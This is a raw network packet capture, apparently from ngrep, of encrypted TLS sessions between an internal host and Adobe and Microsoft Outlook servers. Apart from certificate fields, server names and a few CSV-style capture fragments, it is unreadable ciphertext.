Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z.. .`..l..._...!.h.,\"\".N.*.7J......,0...*.H..............h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@................0...\n......0.....+.....0......0...0......t...f..7...)7.........20260613120114Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7............vM.u{..? @.......20260613114500Z....20260620104500Z0...*.H.............. =s.li-....0.R.=...fi}.>.?.......c.o........R.....Qq......T.Am.2.8.f.....^...O.......h..V......C/.-......0.$..qc........8.....8.=..D\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #8\n.i..a.C....,......1z....M_..8O.........g.......2.!+A....qy;...Hxu....(...J...G..\"\"H q5:P.S...v.l<.f.<..8..bU...S.S.&3...ZI.^............A.n.....o.........\\....;...x@...2.Z.}S.{k........k....2\\0:...c.......G0E. {..k.i..!wHp.....P>.d.yu.{...a...!......tQr....|.k..LZ.....y................\n##\nT 10.152.152.11:63940 -> 2.23.89.83:443 [AP] #10\n....F...BA.yo.w!S...I.F...|...'$a,.8...........jZ...I..g{hZ8K..K ..6.yP.)............(...........wS.1..7...s.8g..M.O7CO.....`%\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #12\n...........D.......G...b;._.;.wJ..;enw...~G..%..2.%.(!u.......e|...$,.Z.X.<z...do.r...fJ[-.v..S@H..5..i.........>V./.\"\".{.6.,@Y1..Hz....9v....6.F...^...k.v...e*4P.W... .=.....v....M...)....di....>......9...i9.].j..+q...O...N..........(..H\"\"c.......F....`..$,....>.b.o-.a.7.z?n\n#\nT 10.152.152.11:63940 -> 2.23.89.83:443 [AP] #13\n.............6DR....DZ..7.:..g.t.*......../;..F...p}.ri....S...L..|..M.8w.4R...,}Jh>...5...'5?...7..).......i.\\L.)xOZ.l.&.\\.....A.....9j{...F4.y....Y%!...P./..06........+..{f.@.c..B..n{..n.SR5.R..).&.....M...oK.4.'.....M.g.1.6..9..C....2~..%....ZX.=.U..9t.r.....N..P..k#{$.[l#.......9\\.%?..p.$;....(..3!dlU...5o.......qjz...'.uv..).5.o\"\"......<...1r....._.....r.$^.y.'.......M,..)..A.N....+..[af..p.a...].[i..... .@...N..h7_Tn....N.....AV.............w.8.(..Z...T.$s..........._....J.qW...CR.....\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #15\n.......H\"\"c...'.^.......#....Yg..W....6......5...k.P...**.1...A.w?.?kT..6.`.3e....6[f.{....L/.....*Dr\"\".T{.#k1..:.-.T....q..C2......E~S.F.bY\n/.F.Q....<...~%.a7.m2.=.#.....N..'..%d[..C.9...W..[K..1....[.9.W....P=: .......u...Upk.%:B-Q....v}L]i._P.\"\"..L3.aZ...Mw..j{..Y..r....w|...).....S.......e.}Z.u.g......` .sGe.g...7A......\\..e..7@....3r...O.... .J9...:X...K.Z...K.oRL...t.\"\"X......\\..\n..*.......G...b.....k.W...T..g....w..~.2.6..A.8....3......L..K.wd.C..o...W..p.......O.Lr..kB../q..[Z%b..(J.w.r\n.f[.2..M.D.......a.F.....}e\n.....H.0.D.O.A..n....c.....,.....v(.v.u|..@...*.......d\n/d..\"\"m..E.I[........7....\\.f......n#...(YMd..T.2..........e..Q6n...4G.9#TR1H.......\\..\\.QG.Bn.U.>q.......~.C=6..aufR..py..,o.w..6..w.6.e.....t......K9..{.....'....;.=o.w......=.2..x..WW\nDs.=..2O..$.s...:..u..U....F.!...$ZM*/....X..F#..GUn..K.y....jvp..3F.~.,.C.Y.....zg....c....YQ.....;F..]...@++.b..,..@9H......u=.Y.#\\k}....:........-..Tx....6P.6p..._<.!.....)0z.\"\"^Sg'..f..9...a9.h..h ..A......-x......\nim~...cz..2...)>&..G..R........E...n.nf=#@...8\n.L.*...Zr.7.w..5..W.....!..r..L..... ./vP..'sIy,.u...K\"\"j6.8....Y.L..k1...o....^...B......G....%3.#QY|.M.l~..3.X.v.w.......;,T.Qb8..?.j.(Z...-41?..e....$.:......S..u.....}...!\"\"NfXR..;....}.f.......XK:...[...v .J....r...3i.....0.....M.&>c\"\"Z....d...|8....Y.....J...X.L.I%......eA..1Vw...`.`.Qj.\"\"1...<W-Hj....&.KG.)Tx... O...?......r.?.Bb{....IW..Or0V[.S.h..*...k.....X.............C>..}[[ 4.mb~...z.>....{-M[.6B$..R..\\......Me.n.(2. .^.=Ww(.......g.Y....s...y......Vrv..*..\\w.k.r...c|K...]i...l...a..n...7....^Y......O.... .....`gC.2H..+.\"\"...&f....{......$d.O.....C...T..=....u..s..\nFH.B...o.]....=....^Q...r................n...I.h..v..w...@1.....Vq......a..Vd............\\.m........X?.....L.w..?.6>...........s.\\...r.u^.D.Lb....J6...R.....|....Cd[.........-.Cpd.....R.'.5.....m.v....S+....Z.^.)...c.....7{H.W..U..05._...*..v....f.h|...s.z....2V..\n...\n...z....#uw...._5.....C..Z.0....fD..k8M.)<.....>O.f...~...e...|8.X...S.l.c.I.........]B.............{U.V..S.M....x....0.mH.F..g..%..VhJ...\\..]..r.j.|..b.u...X..M...R(....,P.~....lw..E.u./9...\\......].0Y.S.ai...7'.Ku.*.BK..PpYf....~..d./.\ny...]uy.....\\..b..~\"\n0.0,NGrep,\"-y]....k]........s.^d..............T$.Z...,Y.#.......=.B......].}....L......@..!e.![.#..za...q..1o..J?.9.\",\"Payload: ..Q..............G5n....r<.%...m.<7...9..<...Z.[.............M).+...X.4...\"\"'=V.[*........2T..M.9..e.A.7.r.r........!...!.Ac..<...#..v.8.q..iu...r..$w.}..[5SQ..Y.V...;.-\n }.zM,',}T..oD..K......E..W.t.I.A...>x....X..\\..).....%.n...5%..gBtH......6:.p$'..l...............?.....k`f&gt....9V.t..j....Fs7.....y.3.=......fgeI.Sy3.....?..>/.....m..........H.1..$M.2.j1d........z..=..Y.t..[.....R.H...Y.{......O..}.......EL..1(..5[..........9H@4.U...nRv0.c.c..q../...C+..h>.vA..|......8....>.hCk.e.T...E9......AZ.....f....A..$f..`..+OS...+.}tC.O...Z..I,t.C...P.5R.*.>2..qi.~..+.\\s.g..S..Qn.w....'.q.e...>......f[.T..8.H......up.WFa...g.*2..A..4.f....R.....T....)'Rg.M.....9....d.....uHn...pWq.5zZ...m....W.....4....i....dE.i.:..[1r.$...^..4...m..`.............ej.f...a......SH..P..DOxlv.9x..5(qz.n....J.>......y.U....vb.a...M~..s\n.}..[\\.mO.!..S.Y..../aa.r-i.......sp..\n......aM.=.vo>M.A;...*.R...2..}.n....iv.'.U.\\..?..,.v.......Q......'<X.,....E!......vT..A..&.O....k.2. ..U.4[...........pR. ... F....e....2..N...4.Yg\"\".....<..9.....]....x......Is.....6.n}0.....9\\..Y..@U....F(..y.4>..>~.~.._!..3D...hx.#p.&...{.,,..<{.D(.U.0.........[*.\n.E.._.[.$.{Q1p.1......K..\\;.....wY....eb...\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #17\n...(......b..\"\"...-...k..K... _....g.[.... .\n.[.?..d8....$.;....DA..y.....voNJ......E.R...Q....h.`N..U:.....c......L..j.$w........C..X\"\".A\"\"...F..Dx~...G?.R.~....C%..\\../.Q..'jw..N.D[hd..N..a......g...k...!q...GY......$/.3...4T....K.....3.D.Do.UHm%..\\..'.b.).j.....^,.........[......Y.y\\....acS.......1.=......9.|..Qk....v]PQ:!.....k...,+/*&....At@./...$e...T'.h..b.....mi....].5$;.K_..HQ.v.\nh...=%i.0.....9v...Ou..q.....,(\\..R.}&.\\(\"\"......\n.T{.].9B.........U`-.$.......m\\.U...<.-..t....?..........dX...r..]...Z.e4.1E.[..y....z.^\"\"D....].n......,..g.....M...[...=..M.. T.qGa..P.._.....\"\".....7...w.\\=...j*....f.F.c.!.|..e#h8...L.F..A....j.=...K...9+....K.B.i...0-..>.........7.......hb.S.KZ...:.M(.....-..+...{..\"\"..}..-...6..}.,.(f.0.......M..D2Q.e..i9W4....... .K.{....Y.....q.f..X.7I.....o~fZ9.._\n.<..V.:.N..fz..R.0.N ....6.vS..j.......?..4..D..~.{......5.......7.z....N.h9.}7c..k....t..1...D?..J.D...q2.I..h3\n.........R..:...An...........O...c.km....5....<M......xB..I...lY..UPO\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #19\n,d.{.N....}M.`..d..s. $...ab..[.....J.%|.-[Kw._y;@..7.....j.g..X ..P+.5.i..4L.9{..+=q~6.'}.fO...l.  \\..Q.,.v.^O.!3\n#3..N......7.\\..z}^1b./b.....h.].......4 M.*.z>......s>j...3tH..I..'RR..b.k..(.6..e....,..2#V....l..U..h:Vr....r.^.u...7....t.X..k..%...C\"\".\"\"..w.......`n..waC....~.4.5....i....t.....>P&.6P...5&...6\"\"m.g..>..g....{...L.F>..M..p..QNX..i2...j..s....... ...C).).kB..O.......!....<.b.b...........cP.(8.~8.D..C.......@..l..t.`?............G...E.M...'..n.(..1..9.'.Z..)&...H...N....1.......%.P.......l.r....0 [.b..a.Om..b....\"\"bL.....#..n.D.^x.AFQal<.&.....NH.'.z\"\"+h ...........a.l..o..y...g...,..w.@`.X7Y.._.Y.{..W.G....!RI8...1f4\nr....P%.....q.\n....[...m..8.....j.l..._\"\".w.d..7VHV...i..m........Y1.@..*.H.Z....!.'A.\"\n0.0,NGrep,\"^.2.%......R.8MNO&.T.s..N.k.....?.@.b...Z?+.)M...)KS..#.~\"\"....o..,....O)]|..ye*%.-+B.l.:M{6U......`..?..m.....T..GET..\\e..?6..:X4..{J..B..T...p0;8<.a.....#..W....#8.0.......W@..|...Q.NW4o..\",\"Payload: ......=!.7..(...9......&.C....?...F..>...l.1n0U..s.o&f..,..J8........_..............h..NS...>....;...\\l..[W....]..F.z..EJH.........5.*.....\"\"...:.Z....5.h.V.H(u...zZ..U.g..T}J}..a.\\.#.d8...r^.x.T\n<]]..Z...r...s...n.Yn.....B\"\"....,N<....2.\"\"q.d.4P..Q].&.......&.......n......'.A.+...Y5Bj.A8.......:E..xH.....&.8&N...`....l....@).......[.._....-G...\\...k\\%...).....s].......).ube..N....x..\"\"..n..(.U.e.......^.u.^*.Y.....T..ME.......q_).]7W.?.......G).=$.=k...x=2\\..KC.N.Nk..2..D.'<%.O..X#.....I........{...\\ zDT..e.h..:Wh.J..K..3$.n.?6...(.2..1..D#.....+...ZwK...G.....K2{.a.[M....+...B........<.g..AW..yL....'....f..'.....(>p...b..v...3.T..f...U.....)`%\n...DgM......W. .)..|.Q).....Vr.ih...-.....+.....\n.OY...;..\nF.......e./.b...u..jM,..'..2NJ.....=.ag...W.va......v.......6..q...l.PO@g7o.MA`..!)........C...*..$.^T.....&.....i...\"\"5Q.5.n......^........-.9..aT.....F....@.s.r.*`.......[.@.P.L&..M...w....o..R..klJ.m....[.v+....\"\"..\n.T.iHMj..\"\".@s2.J=.g.L..PV.5...h.......!.....h.S.?.I.....C...`z.#.&..&..{z..e...J...[.^-.-|..u3Q\\9........2....7....a...#..kw..........b....>Ol.....{...._..0.*..........~......i..|.+.....Y..x..o'a. nlW...8.R...W,.......w...a..Z........h..@\n@.\\MY.F...<.@.L...\"\"..>!.nU..B..'.....(...0W..0.D..n..w......B(.k./.8.3...cuG.Q.Z..0.....c..e$..;..Q..M..OY..6^......O.K@N...|.\nif...q..BA..[.fuC.M..Vs.3C..6/....O.......fkQ.....B0.#...D.1...w.,....!.E,].....J...4AFS.w...D..J.A...in.|Pk..5.....[TS.;..`.%.......V.....qmr..Ze..!..okM......8.gb..O.?).\"\".c..e...A.?.HfI...Q]..|.la..w....._@..l[......f.+..[.cU_...ph|..Hi..T....i...#.r..:.n....).nq@|...g...:5.7.....*h..4.+.}....w/...H...3....7..............5>}..y{2..h.-.W.%.MW(.(...o(..X.0|.......T. 8.g.\\u..@.......3M..)?$=S./..=q.+.V..X.dwk6q..d.ZM5..b......@.?.P..3.H....e`c..E...|.j..`i..v.......P.x..,t.nI...?...F...&..K....s.].g...3Y........q+MD...m.d..H.m...gbj..N...M..&.P..../...6.a.|[...3.........6.q..H.9.1.......:.......].'.h..^...d..*#.....KF.......>E..S......HcX*V.._H+P.T..p.&.......o..//.T....P.\"\".}z...*..[`..#...F+.|.aj~.t...-..P..J..\\.\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #21\n[<Q.EZ..{y=;.P.E..QrQ.G7......<[...m..Qkh.....S....DG....d.7...9........g...>^x...nd.Jc4..y.z.Hyk.e.DP....Z\\r..m.ll%.......u.?........H.#..N.v.,.@A..Du.D?..G\"\"..........J....'.Kj.{Y>..AX..>.O.33.w..4.b;.O.......D.|.^.J...........).ZI..,LK9%8.s....?...P.vn.$.3.Y....N,#=. 2ek...D.......=p.^......%..c....@....~...6Gq.....*/^....f_.X........k.`...l....4P>%b{.}.Qq.ot.X.....}M3(.....\n..=T.%H.....<V..\\.0X....O..v.,e ...2...~_.....h....N~.RoX.......B.7P....X..:..J,....1....I?.w.......A.H......C..8zAv.{...@.!>...a,.\\..Rj.3...b...|..n~,...NhZ....6....L/..d....K.\\.....t5!ff..bH?.si.z.QG..?1A[ke....J3....c....cF....C..Lj.!Y.W....s.n..4.+.Sbj..._......s.T...E....Qq...............n}'....<s...;E..;...1O...D..a.3..\"\"{.r.+&K7j~....:k..jo.j~T..Z......t*..y.'..ELE..0..s...1n.....R\\.):...\n##\nT 10.152.152.11:63940 -> 2.23.89.83:443 [AP] #23\n....y............R...x.7...<su.Z...+..^..?...Wf.x..t.@.....Y.jVbP9.w...S..I.|\n.(.C...............5...w(...&.1e.$...;t>.J.s.........$.\"\"2....<....d1..}r....pw..evyM.).T..E..FgeR..K.....>.Y.{i.... ]...8%..O..X.?..... K.5.C.......+.G..........<............nc..H..c.......................O%\n}4...C....}eE.......`...AN....O..]7q...[9...m...._^..D\n.E`....@....'.n>....k.O..G..a..+..C..Yi..\n#####\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #28\n...........j/.>..dq..........X~.^.|./..C.....&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...s.........outlook.office.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #30\n....t..H\"\"c...Q^.E.N...G.G..T...\"\"-.e....O........;.YaC.g..4..&.......>..l../.t..Etg.....ubP.l8..+C.j.!( |.5V.....%.t .........\n_...*.Ae..........=..S#.R\"\"11h.r..../.....2....Zh..Y..G`yJm..>)..;I.=.:B2..l../....Wh'V.....`...[..@.......v.....$...o.Q.%.U....j.%v.o..QQA&.5D.i...2.....,tF99..TDV....(.....7<}rz..,.z\\.4.tr.$[(.......O.;#..W..DD=....WO!L..~.3..!....H[..Y}.......I.r.`.Gzy.o....zXpa.f.C...d...|....H.e.t.|....$...h..p..%..O.-0[...U.3f2.c(..S..Zz.-..Tq.@....c...odiU...7...e.......GE....41q...L.....;...R....f.O.x\"\"....M./.%.vTi.bO/..W.s....0....;....Lh...zZ...<.I.g..0.$u..9..(.Q..1sm.....x..{H....;.g....4...2........;...9..d\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #32\n........f..j......(0..\\.$.y........DOWNGRD. .1...I{%06..%D.#s..4....l..'._...0........#.........h2................M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S.\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #34\n.]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260609071900Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260609070300Z....20260616060300Z0...*.H.............v.0'.Y....:.5q..&+.pi.....5.-=.#.l.hZ....I....S6.\n#.T._.......Ll.DE....+m.|..7:..8.f(F.(.w.H..... Z]?.*|d.i.p.3...t&..}..dLS..R.......+t........>.7..[..../>.Q.....~..Lh..O.+m....O~2......xe.6....}..]).\"\"......4..G.P....V....\"\"...SQ..].M..._.\n..=O![...M. .Y.l...i...a..t.W..v-.Y....X.=.!9p..xK..........&.L.;.....//|5.;6D.\nD.z..}N.@..\\x......c.$u....O....m.It.... .....|^....\\...4u=.uh...Ei...{*......q;!#M....NX..Ko[j....`.,.=b....jCM...1;..c#.....i..%.WH....#.7>.V... ]..Kj.\n7#.I.X[.8..2=)...w.}.=,.....K=.....h..n..&vNvE.R}s.../W...>...^.Va...<.$.....q..}...S..5 .'..~.i.~..I.....$\"\"....=..............\\..k.+.fKb..q..u.i......\n##\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #36\n....f...ba..U..`&iL.....Rd?...~.FP...=.'.\nS...../...VA.\\....QR..#z......Of......B....Q..S..00........................(........G...q....u.*a..NU.P......j......\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #38\n........*.....$.....^.i3..O.......|..Vt**q.1O..0..T..=.B.M....N.W@..z...k^$.ZAS./...54.?N=.......5fG..y...C..)........TN-....okg5.1.f.g`....)'V.>....Fh.oj./..0D;). 3+.S?.~XX....b...LHt.>..}7.Q>.RL.v......-....k......X.`....M...w..[..l..FGJ........................>..x7....).}\"\"&)......8|..Q@.>..l....?..FR.s...........(............._.L...Z!P.z..8.......T.........@...........1.~..yw$..j.r....4PO...C.V\\7:.....4{3@.<.V.j.._..l...\n##\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #40\n....R........J9.O...~...P.......R......)T....L..CI......\"\".......}....f..].'G..N...V..e3\n##\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #42\n....!........Z]..4>#.N.d,.\nK;....J...k\n##\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #44\n....m.........Uc.<Q.4....c#..|.d..6.s...l...*.O.J.r.:..pq..Mj...H..(\\w.p\"\".+..s...'~.....A/..oN.gzPYr^....@..+,/i..\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #46\n....!........s.......9.F1v.a..`.=~....\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #48\n................\"\".u5.6R`C..lZQR....NJ.`.:?..~..&....\n..6..Z......D...x.{.8*h.D.p.h.W...........g.B9.........F.AA.{.b......`.......X...Etl.....C#.....<.0.....G...:...@u..[:.ivD..Zd....e`fe.h..sO..p).../..o..@.0.k..Q.q..G....;.|..g..m.0..w`........2..T.....=.q.s.....RD...9.v.:.P...:.HVF.......H7...O..QkHQU.A......<...|...owp..........y............\\9..@.x..Zl;..&....U!.F...Y......O.S.............y.....:|..|...IE4..R.&.) ......F%.m. .......v.u.,A.xs&.......'.Z.C@I[7..SX>.O.....Z9.`.........|o.1Bv..f..Q&...O..=Y.$].....0..zU.=.JK.!..j:..`feH~.2...5....J^......3.3..=..xZ:\"\"*...[.Zd.4s..z&.'5\"\"8.j>yg. TL~r......(........&.$(2.WO.L).1:...Q..S.).;.;.Z...W.bNU.C...r..a.K.7Q.6....uU.c...h.........\\#@5..\\..tQ..$..|[..e...`...Y....%`...Z...d...R_Q-.*5...EY..$B.....|..\"\"..<..89.n=.C...{.a....e..lT...................B.e.....|=6.8....{y..>.....O.@.....#.........CJj.....C=.\\..B%..^.T.+..#...:.~...h..1.\\B..o.]Y.(.@...g.k...Z.....tD.5.S....z.I..L...F..H....[+b},.......Z.]............V....1/...4....4..3&..*......@......!.............g....)S.P..A.....q..\n##\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #50\n....;.........8.\\Q6q.P......'.mI....+...M....H.L'f..:5...8.s..\n.\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #52\n...............J...b\"\"...q....t..e....s.t.'>..U|40..9...W.._e..<+....adS........x...w4K&.]..}#.A.;.KK.UA...#..xr...@i...#*.Fe.')...T.*.^...u?....%...\\..#._...n..K......]...J>....ct.....1...EZ;q.X.PD).3...B...).}.y.0..\n......../..U%0..3..?...!G...4^e..B'...Qq5T...vX...G..@.XyG|t7..<.d...A.W.......e..%.o......:..i&..u[=G.S./...E...J.3Rq..<S...R...x`&b...8P.5.fUW#....H.e.q46.2...#.!`Xu..'dE............5.|..1..8.r{8...i.........wJ..9..nO.+......y.@1..J..X*..,..k.l......f.kx.L.Z......A...)t.7../h....?..].[............F.H.........%6........~..N.J..(...F^..~Z.$K^_.Z..i.q\n.~..y\n.;<.f.N..}k.....8>...j.<\"\"U..s.\\1... }4..b.O1`&G..j.v.P..>X...f..{...B.s.M...l....._rl.\n##\nT 10.152.152.11:63966 -> 40.104.62.178:443 [AP] #54\n....i......... :P.....0.!....%Z.=v.M`.M..:..?...:..5.#..c..<g.&.`LG.rl7...NGb.x.-.@.q.....Go..Ln).>S^![y.....i\n##\nT 40.104.62.178:443 -> 10.152.152.11:63966 [AP] #56\n....p........\"\"..m....\\.....=..{....1....t.R....cU......Q...=..$..n.zN.By..k.z...E......Fo.....4o.PH.8...#zOm.....?@......qN..v.....@L.............,'..3..RZMWT-..;.&.....d.$?,AYZ..k..+..*.b.so........ IS.}.4_Wd.z..{.T.&j....l..I..t.o0.(5.R..0..=X..[\"\".pd..^kZ'.\n.....w$........W.V............V..q.Mf..\\=h.o&9.....v.%....^...W_a....H..NK+a...2.....g*].m..F%..........$....x).5....t-.e^..j.pK.G.....&..8.-.N...........w..E..y.)..W...[...n.m..........8x...4<....SC.Q...Ca.,....../w0`.x.....^....k..q.V1#....63j..*..........+$/....k?..._....N.q2~y...:.T.Q..P#......o.,9.=.kj .....$..ae:.`W..6...J.....<..%O.:...j...|.......;..X..._...>\n#####\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #61\n...........j/.A'...........h..O...d&.N...8...&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...v.........outlook.office365.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 40.98.16.61:443 -> 10.152.152.11:63993 [AP] #63\n........b..j.....<.......eln.+8.Q.cDOWNGRD. _......+sF.3V..z8...O[....)Mj..0.0........#.........h2............M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. 